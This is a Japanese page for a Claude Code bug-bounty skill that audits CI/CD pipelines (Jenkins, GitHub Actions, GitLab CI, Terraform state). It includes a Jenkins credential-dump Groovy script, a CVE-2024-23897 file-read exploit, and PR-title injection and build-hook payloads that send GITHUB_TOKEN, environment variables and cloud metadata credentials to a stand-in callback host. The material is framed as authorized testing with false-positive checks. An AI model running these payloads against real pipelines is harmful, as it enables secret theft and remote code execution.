hunt-cicd について
hunt-cicd は、Jenkins、GitHub Actions、GitLab CI、Terraform の状態ファイルを対象とする、CI/CD パイプラインのセキュリティ監査スキルです。信頼できない入力から実行箇所へのデータフローを追跡し、観測可能な証拠で影響を確認する方針です。
主な機能
- 01Jenkins コンソールとファイル読み取りの確認
- 02GitHub Actions のインジェクションと Runner 監査
- 03OIDC 信頼ポリシーとキャッシュポイズニングの確認
- 04CI ログ、アーティファクト、シークレットの調査
- 05GitLab CI Runner と変数の監査
- 06Terraform 状態ファイルの機密情報確認
活用シーン
- 01Jenkins スクリプトコンソールと認証情報露出の調査
- 02GitHub Actions ワークフローでの信頼できない入力の実行確認
- 03セルフホスト Runner とクラウドロール信頼設定の確認
- 04CI ログ、アーティファクト、状態ファイルからのシークレット漏えい調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-cicdインストール後、Claude Code で/hunt-cicdを入力して読み込まれたか確認します。
詳細
HUNT-CICD — CI/CD パイプラインのセキュリティ
クラウンジュエルの標的
Jenkins の /script コンソールにアクセスできる場合、即座に RCE が可能です。GitHub Actions の pull_request_target(または workflow_run)ワークフローがPR の head refをチェックアウトし、信頼できない ${{ github.event.* }} をシェルの run: で参照している場合は、「Pwnrequest」となり、承認なしでフォーク PR からシークレットを窃取できます。
最も価値の高い発見:
- Jenkins Script Console — Groovy の実行 → 完全な RCE → 認証情報ストアのダンプ
- Jenkins CLI のファイル読み取り(CVE-2024-23897) — 認証前の
@/etc/passwd引数展開 →secret.key/credentials.xmlの読み取り → 管理者の偽造 → RCE - GitHub Actions の
pull_request_targetインジェクション(Pwnrequest) — フォーク PR が、特権付きシェルステップ内の${{ }}を制御 →GITHUB_TOKEN(多くの場合contents:write)と組織のシークレットを窃取 - セルフホストランナーの汚染 — 公開リポジトリ上の非エフェメラルなランナーがフォーク PR のビルドを実行 → 攻撃者のコードがランナーホスト上で実行 → 永続化とシークレットの窃取
- OIDC 信頼ポリシーの悪用 — AWS IAM ロールの信頼ポリシーにある、過度に広範な
subクレームのワイルドカード → 組織内のあらゆるワークフローが特権クラウドロールを引き受ける - Terraform ステートの漏えい — 公開 S3/GCS/Blob 内の
*.tfstate→ インフラストラクチャの認証情報、DB パスワード、秘密鍵が平文で露出 - ランナートークン/アーティファクト/ログの漏えい — 攻撃者のランナーを登録する、または
::add-mask::の前に出力されたシークレットを収集する
「証拠なしに、起きたとは言えない」ゲート(最初に読む)
ダッシュボード上で悪用可能に見えるため、CI/CD に関する発見は過剰に報告されがちです。何かを報告する前に、次の点を確認してください。
- ログインページは RCE ではありません。 アクセス可能な
/scriptURL が Jenkins のログイン画面または403を返す場合、認証不要のスクリプトコンソールではありません。scriptTextへの POST が実際にコマンドの出力を返した場合に限り、該当します。 pull_request_targetワークフローは、自動的にインジェクション可能になるわけではありません。 信頼できないデータが実行シンクに流れ込む場合にのみ悪用可能です。PR を作成する前に、データフローを確認してください(FP セクションを参照)。- ブラインドインジェクションには OOB による確認が必要です。 脆弱なステップの出力を読み取れない場合、Burp Collaborator/interactsh を使って必ず確認してください。ランナーから呼び出される、シンクごとに固有のサブドメインを使用します。ワークフローが「成功した」ことは、コードが実行された証拠にはなりません。
.tfstateが HTTP 200 を返しても、解析するまでは認証情報の露出とは言えません。 ベースラインと比較してください(FP セクションを参照)。多くのtfstateファイルにはリソース ID と出力しか含まれず、シークレットは含まれていません。
フェーズ 1 — Jenkins:検出、スクリプトコンソール、CVE-2024-23897
# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
認証不要のスクリプトコンソール → RCE(POST が出力を返す場合に限る):
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'
認証情報ストアのダンプ(Groovy は UI でマスクされるシークレットを復号します):
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.secret}"
}
CVE-2024-23897 — Jenkins CLI 経由の認証前任意ファイル読み取り(args4j の @ ファイル展開。≤2.441/LTS ≤2.426.2 が影響を受けます)。匿名読み取りが可能な場合、secret.key と master.key を読み取って credentials.xml を復号するか、ユーザーの config.xml API トークンを読み取ることで、RCE にエスカレートできます。
# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
# @/var/lib/jenkins/secret.key @/var/lib/jenkins/secrets/master.key
# @/var/lib/jenkins/credentials.xml
検証:レスポンスには実際のファイル内容(root:x:0:0)が含まれている必要があります。漏えいした行を含まない一般的な「no such agent」というメッセージは、インスタンスにパッチが適用済みか、パスが間違っていることを意味します。これは発見事項ではありません。
フェーズ 2 — GitHub Actions:Pwnrequest、シェルへの ${{ }} の埋め込み、ランナーの汚染、OIDC
核となる違い(誤った PoC の 90%がここで失敗します)
シンクのクラスは 2 つあります。それぞれ異なるペイロードが必要です。
${{ }}からシェルのrun:へのテンプレート展開 — 式はシェルの実行前にスクリプトへ置換されるため、信頼できないフィールドに含まれる改行/バッククォート/$(...)は、そのままシェルコードになります。これが典型的なインジェクションです。- シェル内での環境変数の読み取り —
GITHUB_TOKEN、secrets.X、およびenv:にマッピングされた値は、値そのものが文字列であるシェル変数です。これらを流出させるにはecho/printenvを使います。cat $VARはトークン名のファイルを開こうとするため、何も出力されません。
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target # runs with write token + secrets, on fork PRs
jobs:
build:
steps:
- uses: actions/checkout@v4
with: { ref: ${{ github.event.pull_request.head.sha }} } # checks out ATTACKER code
- run: echo "Building PR ${{ github.event.pull_request.title }}" # ← ${{ }} INJECTION
${{ }} シンクを利用した攻撃 — PR のタイトル(またはブランチ名、本文、ラベル、コミットメッセージなど、すべて攻撃者が制御可能なもの)を設定して echo の範囲を抜け、自分のコマンドを実行します。トークンの流出には cat ではなく printenv を使います。
PR title: a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "
複数行の YAML run: では、改行インジェクションのほうが簡潔です。
PR title: foo\n curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)
汚染されたチェックアウトを利用した攻撃(${{ }} は不要) — pull_request_target が PR のヘッドをチェックアウトし、その後、チェックアウトしたツリーからビルドスクリプトを実行したり、依存関係をインストールしたりする場合(make、悪意のある preinstall を含む npm ci、Makefile、PR 内の .github/ アクションなど)、ランナーは攻撃者のコードを直接実行します。任意のビルドフックに仕込みます。
# in attacker's PR, e.g. package.json preinstall or Makefile:
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0 # captures secrets injected as env
セルフホストランナーの汚染 — 公開リポジトリで runs-on: self-hosted(またはカスタムラベル)を pull_request/pull_request_target と併用している場合、フォークからの PR のジョブが組織独自のホストで実行されます。一時的なものではないランナーでは、ジョブ間でツールや認証情報が残ります。ジョブ内からランナーの ID とメタデータを読み取り、確認します。
- run: |
whoami; hostname; id
curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"
OIDC 信頼ポリシーの悪用 — OIDC 経由で configure-aws-credentials を使って IAM ロールを引き受けるワークフローでは、信頼ポリシーの token.actions.githubusercontent.com:sub 条件が欠落しているか、緩いワイルドカード(repo:ORG/*:*)を使っていると、組織内の任意のワークフロー(マージ可能な悪意あるワークフローや、設定ミスのあるトリガーによるフォークを含む)がそのロールを引き受けられます。ロールを調査します。
aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).
次に、影響を実証します。組織内で制御できるワークフローからロールを引き受け、aws sts get-caller-identity を実行して、権限のあるロール ARN を返します。
調査
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
| jq -r '.data.organization.repositories.nodes[].name' | while read r; do
for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
echo "CANDIDATE: ORG/$r/$wf"
done
done
PR を作成する前に、静的解析ツールで候補をトリアージします。gh extension install rhysd/actionlint をインストールするか、zizmor(pip install zizmor; zizmor .github/workflows/)を実行します。これらはテンプレートインジェクションや危険なチェックアウトのパターンを特に検出します。
Actions キャッシュポイズニング
GitHub Actions のキャッシュは、デフォルトではブランチ間で信頼が分離されていません。攻撃者のブランチやフォーク PR のワークフローがキャッシュエントリ(キーまたは復元キー)を書き込み、後からデフォルトブランチの権限のあるワークフローがそれを復元すると、攻撃者が仕込んだファイル(ビルド済みバイナリ、依存関係、スクリプト)が信頼されたビルドに注入され、権限のあるコンテキストでコード実行に至る可能性があります。攻撃者が制御する値をキーに使うキャッシュアクションがないか、また権限のあるパイプラインが、信頼されていないジョブから書き込めるプレフィックスを restore-keys で復元していないか確認します。
フェーズ 3 — ログとアーティファクト内のシークレット
# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done
# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'
actions/upload-artifact はシークレットをマスキングしない点に注意してください。env/debug という名前のアーティファクトは、よくある直接的な漏えい経路です。
フェーズ 4 — GitLab CI
# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK" # masked? protected?
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"
# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"
登録トークンが見つかっただけでは、問題の指摘にはなりません。そのトークンを使って、対象プロジェクトのパイプラインを実行するランナーをインスタンスに登録できる場合に限り、指摘事項となります。自分が所有する一時的なランナーを登録し、ジョブのマスク済み変数を取得して実証します。
フェーズ 5 — Terraform ステートの漏えい
# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
"https://$ORG.s3.amazonaws.com/terraform.tfstate" \
"https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
"https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
"https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
"https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
[ "$code" = "200" ] && echo "[+] 200 $U" && \
jq -r '.resources[].instances[].attributes
| to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
| "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10
誤検知の除外基準: id、arn、tags だけを列挙する tfstate は、シークレットの漏えいではありません。上記の jq を実行し、少なくとも 1 つの有効な認証情報(実際の password、private_key、RDS マスターパスワード、またはローテーションされていないアクセスキー)が含まれていることを確認します。次に、その認証情報を読み取り専用で使って影響を実証します(aws sts get-caller-identity、またはバナーが返る DB 接続)。「ステートに認証情報がある」と主張するだけでは不十分です。
フェーズ 6 — ビルド成果物/イメージの分析
docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified
--only-verified を指定すると、実際に認証できた認証情報だけに trufflehog を絞り込めます。報告前に、期限切れやサンプル用のキーによるノイズを取り除くために使用してください。
根拠となる参照情報(名前付きの事例/CVE)
- Pwnrequest/
pull_request_targetクラス — GitHub Security Lab(Jaroslav Lobačevski)、「GitHub Actions とワークフローを安全に保つ:信頼できない入力」。フォークからの PR によるシークレットの窃取と、危険なチェックアウトパターンについての元となる記事です。 - GitHub Actions のワークフローコマンドインジェクション — CVE-2020-15228 —
set-env/add-pathワークフローコマンドにより、ログ出力から環境変数/PATH をインジェクションできました。これを受けて、これらのコマンドは非推奨となり、$GITHUB_ENVへの移行が進みました。 - Jenkins CLI の任意ファイル読み取り — CVE-2024-23897 — args4j の
@接頭辞付きファイル展開(Jenkins ≤2.441/LTS ≤2.426.2)により、secret.key/credentials.xmlを読み取り → 管理者権限を取得 → RCE に至ります。 - Jenkins Stapler RCE — CVE-2018-1000861 — 動的ルーティングによって
groovy.lang.GroovyShellに到達します。古い Jenkins で、認証なしのスクリプト実行につながる一連の手法としてよく知られています。 - PortSwigger/Liam Galvin ほか — GitHub Actions のインジェクションシンク(タイトル/ブランチ/本文/ラベル)と、
${{ }}をrunに埋め込むテンプレート置換ベクターに関する調査です。上記の actionlint/zizmor の検出ルールの基礎となっています。
(正確な帰属を確認できた CVE と事例のみを記載しています。該当すると主張する前に、稼働中のバージョンが CVE の影響範囲に含まれることを確認してください。)
攻撃チェーン表
| CI/CD の検出事項 | チェーンの到達先 | 影響 |
|---|---|---|
| Jenkins の匿名スクリプトコンソール | 認証情報ストアをダンプ → クラウド/DB の認証情報 → 横展開 | 重大 |
| Jenkins CLI のファイル読み取り(CVE-2024-23897) | secret.key+credentials.xml を読み取り → 管理者を偽装 → RCE | 重大 |
Actions の ${{ }} インジェクション(Pwnrequest) | printenv GITHUB_TOKEN/シークレット → 保護されたブランチへのプッシュ | 重大 |
| セルフホストランナーの汚染 | ランナーホスト上でコードを実行 → IMDS 認証情報 → 永続化 | 重大 |
OIDC の sub ワイルドカード | 任意の組織ワークフローから、権限の強いクラウドロールに AssumeRole | 重大 |
| 有効な認証情報を含む Terraform の状態ファイル | インフラ/DB/API の認証情報を使用 | 重大 |
| GitLab ランナーの登録 | ランナーを登録 → パイプラインのシークレットを取得 | 高/重大 |
| イメージ/ログ/成果物に含まれるシークレット | 認証情報を直接使用 | 高 |
検証時の注意事項(各検出事項について、報告前に実施)
- Jenkins コンソール:
scriptTextの POST がidの出力(uid=…(jenkins))を返すことを確認してください。ログイン/SSO/Crowd ページが返る場合は、匿名アクセスではありません。リクエストとレスポンスのスクリーンショットを撮影してください。 - CVE-2024-23897: レスポンスに実際の
/etc/passwdの内容が含まれていることを確認してください。バージョンが影響範囲内であることも確認してください。パッチ適用済みのインスタンスは、漏えいした行を含まないエラーを返します。 - Actions のインジェクション: まず、データがシンクに流れることを確認してください(FP のセクションを参照)。ブラインドステップでは、ランナーの送信元 IP を含む Collaborator コールバックが必須です。エンドポイントでデコードした
printenv//proc/self/environ経由のトークン窃取を確認してください。cat $GITHUB_TOKENは絶対に実行しないでください。 - OIDC の悪用: 管理下のワークフローから
aws sts get-caller-identityを実行し、権限の強いロール ARN が返ることを確認してください。信頼ポリシーが寛容に見えるだけでは不十分です。 - Terraform の状態ファイル:
jqによる抽出で少なくとも 1 つの 有効な シークレットが得られ、その後、読み取り専用の認証で有効性が証明されることを確認してください。ID/ARN のみが含まれる状態ファイルは検出事項ではありません。 - ランナートークン/イメージ/ログ: シークレットによる認証が成功することを実証してください(trufflehog の
--only-verified、または実際の API 呼び出しを使用)。文字列を所持しているだけでは影響の証明になりません。
撤回すべき一般的な誤検知
/scriptがログインページを返している(認証が必要)のに「未認証 RCE」として報告されるケース。pull_request_targetが存在するが、信頼できない入力がシンクに到達しないケース(例:github.actorに対するif:でのみ使用されている、またはワークフローが_targetではなくpull_requestを使用している)。${{ }}参照がすでにenv:ブロックでラップされ、シェル内でクォートされている(推奨される安全なパターン)ケース — インジェクション可能ではありません。- リソースメタデータのみを含む
.tfstateの 200 応答。 protectedであり、攻撃者がプッシュできない保護ブランチにのみ公開されているマスクされた GitLab 変数。- サンプルまたは期限切れのキーに対する Trufflehog の「未検証」ヒット。
重大度: Jenkins コンソール / CVE-2024-23897 / Actions のシークレット窃取 / ランナー汚染 / OIDC ロール引き受け / Terraform の有効な認証情報 = Critical。イメージ/ログ/アーティファクトのシークレット = 認証情報のスコープにより High/Critical。